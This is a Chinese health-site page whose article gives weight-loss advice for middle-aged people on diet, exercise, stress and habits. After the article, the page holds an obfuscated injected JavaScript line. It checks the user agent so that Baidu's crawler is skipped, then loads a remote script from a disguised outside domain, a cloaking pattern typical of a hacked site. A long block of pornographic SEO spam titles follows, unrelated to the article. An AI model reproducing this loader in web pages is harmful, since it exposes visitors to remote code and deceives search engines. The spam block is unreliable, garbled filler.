當前位置:首頁 > 減肥 > 減肥方法 > 正文

人到中年要懂得瘦身保持體形

2017-03-12 13:31:41  來源:360常識網   熱度:
導語:人到中年最易發福,似乎人人都懂這個道理,但大多數人則以此為借口忽視肥胖問題, 由此而帶來一系列的疾病隱患,對健康是極不利的,那么中年人應該如何瘦身呢

辦公室主任宋佚是公認的樂天派,最近卻一臉愁云,原來看上去白白胖胖的他在今年體檢中查出了高血壓、脂肪肝等多種疾病,醫生開的處方中有一條就是清他注意瘦身。

懂得性別差異。身高、體重相仿的男女吃同樣多的東西、接受同樣強度的訓練,男人的體重總是減得更多更快,因為男人每千克體重含有更多的肌肉組織,正是它們需要“燃燒”更多的脂肪,因此,中年女性想取得男人減肥的效果,必須進行更多的鍛煉。

吃低脂食物。要減少腰腹部的脂肪,營養專家推薦的是飽和脂肪含量低的食物,如新鮮蔬菜、水果和淀粉(如糙米、面包)等。吃肉的最佳時間是午餐時間,改吃魚肉來代替豬,牛肉;多吃纖維素,殼類、椰菜花、水果及豆類等高纖維食物有兩大功效,一是飽腹,二是幫助胃腸蠕動,加快代謝,如果每天進食30克此類食物,可減去一定的熱量,半年之中體重就會減輕。

按你的喜好鍛煉。選擇了自己喜愛的運動方式,無疑可以堅持長久也更有樂趣。但同時,最好聽一些專家的建議――要減少腹部脂肪必須鍛煉全身肌肉,在肩部、臀部和大腿肌肉增長的同時你的肚子會相應縮小。何種鍛煉方式減肥最快,專家們的看法不盡一致。一些人崇尚舉啞鈴和蹬跑步機,屬增強力量型;另一些人主張選擇慢跑、騎自行車和游泳,屬增氧健身型。你說不定兩者并舉,以求最佳效果。其實,運動強度對于胖者來說,慢一點、隨意一點也許效果更好。因為人體燃燒兩種類型的“燃料”,一種是糖元即動物淀粉,它好比高辛烷的汽油;一種是脂肪,它就像低辛烷的天然氣。當你像開賽車一樣驅動身體時,用的多半是高級燃料;而當你慢速運動時,用的多半是低級燃料――脂肪。那么,選擇不那么激烈的運動項目,比如慢跑、游泳、騎自行車,一來不會讓你很快陷入疲勞,更適合你的年齡;二來也是燃燒脂肪的最佳方式。

警惕有害習慣。專家研究認為,緊張性激素皮質醇結合腎上腺素能將脂肪驅往腹部,看來,精神壓力可引起人體重新分配脂肪,把它們從其他部位轉移到肚子上。企圖以煙酒減輕精神壓力者會造成雙倍的麻煩,他們往往比不沾煙酒者腰臀部的脂肪更多,腹腔內脂肪更厚。但這并不是說每杯葡萄灑都會增加危害。一天飲一杯并不過分。所以,人到中年學會精神放松是保持好體格的前提,煙酒也應該盡可能的少沾。其他有害習慣包括不規律的作息、因為應酬而暴飲暴食、缺乏運動的蝸牛式生活方式、與家人少溝通的工作狂,等等,這些都會讓壓力聚積、身體代謝失衡,產生不良肥胖。

不要找借口。“人到中年必然發福”的說法不應作為理由。事實上,任何年齡開始減肥鍛煉都不算晚。還有一種很流行的借口是:胖瘦來自遺傳,本人無能為力。須知,即使你家個個都是大肚皮,你也能改變自己的腰圍。研究表明,對身高相同者,體重差異只有35%左右是受遺傳影響,還有65%左右是本人可以控制的。所以,中年發福者應為健康切實行動起來,早日進行瘦身運動。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品人妻V?出轨中文字幕| 亚洲国产午夜精品理论片| 亚洲AV无码成人精品区狼人影院| 国产亚洲精品激情都市| 国产精品成人免费视频网站京东| 在线观看国产精品普通话对白精品| 欧美成人精品三级网站下载| 久久精品中文字幕第一页| www国产亚洲精品久久久| 精品91自产拍在线| 久久精品国产亚洲AV麻豆~| 一区二区三区四区精品| 成人国产精品秘片多多| 久久精品国产亚洲77777| 伊人这里只有精品| 一区二区三区久久精品| 精品国产一区二区三区| 久久精品国产亚洲av麻| 亚洲精品NV久久久久久久久久| 亚洲精品无码你懂的| 久久精品夜夜夜夜夜久久| 国产自啪精品视频网站丝袜| 四虎国产精品免费视| 老司机69精品成免费视频| 亚洲成人国产精品| 国产精品亚洲综合一区在线观看| 国产a视频精品免费观看| 久久久久琪琪去精品色无码| 国产免费阿v精品视频网址| 日韩精品人成在线播放| 精品久久天干天天天按摩| 国产精品吹潮香蕉在线观看| 91全国探花精品正在播放| 久久亚洲精品AB无码播放| 亚洲国产美女精品久久久久∴| 国产精品美女久久久久av爽| 精品一区二区三区在线视频观看| 国产欧美精品123区发布| 亚洲综合一区无码精品| 亚洲欧洲精品久久| 91嫩草亚洲精品|